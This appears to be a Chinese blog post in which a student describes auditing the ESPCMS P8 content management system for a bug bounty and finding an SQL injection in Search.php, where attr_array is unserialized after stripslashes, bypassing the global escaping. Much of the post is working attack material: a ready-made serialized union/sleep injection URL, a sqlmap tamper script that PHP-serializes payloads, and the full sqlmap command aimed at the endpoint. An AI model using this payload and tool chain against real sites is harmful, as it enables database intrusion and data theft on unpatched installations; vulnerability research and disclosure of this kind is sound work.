有一天睡醒起来逛先知,在众测发现了这个漏洞奖励
看到,我口水都快留下来了,哇一个sql漏洞评高危,最少都有2500.哇,对于大佬们来说当然是小case,但是对于我这个学生狗来说,这可是几个月的生活费呢。于是乎,菜鸡开始了他的弱弱代码审计之旅。
审计环境
选了一个espcms来试试
程序下载地址:https://www.earclink.com/upfile/download/espcmsp8download/ESPCMS_P8_18101601_INSTALL.zip
漏洞分析
这个cms有着全局过滤,
基本上可以杀死我这个小白的审计之路了,我开始慌了。
漏洞存在于:\ESPCMS_P8_18101601_INSTALL\install_pack\espcms_web\Search.php 第51行处
$_REQUEST['attr_array'] = unserialize(stripslashes($_GET['attr_array']));
HAHHH,这处很奇怪。
我们知道正常$_REQUEST['attr_array']会过滤掉' 变成\'
但是这里$_REQUEST['attr_array']获取的是反序列化的值,但是又用stripslashes去掉了过滤的\,所以逃出来'
然后接下来这里就是传入数据库的操作,
漏洞测试
global $espcms_web_templates, $espcms_link_db;
$db_table = ESPCMS_DB_PREFIX . 'document AS a';
$db_table_model_att = ESPCMS_DB_PREFIX . 'document_model_att';
$db_table_document_attr = ESPCMS_DB_PREFIX . 'document_attr';
$keyword = $_REQUEST['keyword'];
if (!$keyword) {
ESPCMS_Dialog::Message_Page('db_err');
}
前面的代码条件就是必须存在keyword参数,不然就跳转到指定的错误页面。
访问:http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:28:"1' union select sleep(8)-- -";i:1;}
post:["keyword":"a","mid":"0"}]
查看数据库执行语句
Poc
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import phpserialize
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
payload = {payload:1}
retVal = phpserialize.dumps(payload)
return retVal
python sqlmap.py -u "http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=" --data="keyword=a&mid=0" --tamper=serialize.py --level 3 --dbms=mysql 5.5 --method="GET" -p attr_array
题外话
小白审计到了第一处漏洞,内心激动万分,妈耶。有钱买游戏了,买部ps4爽歪歪。
啊,好惨。这个厂商没有开软件的众测,一边哭去。。。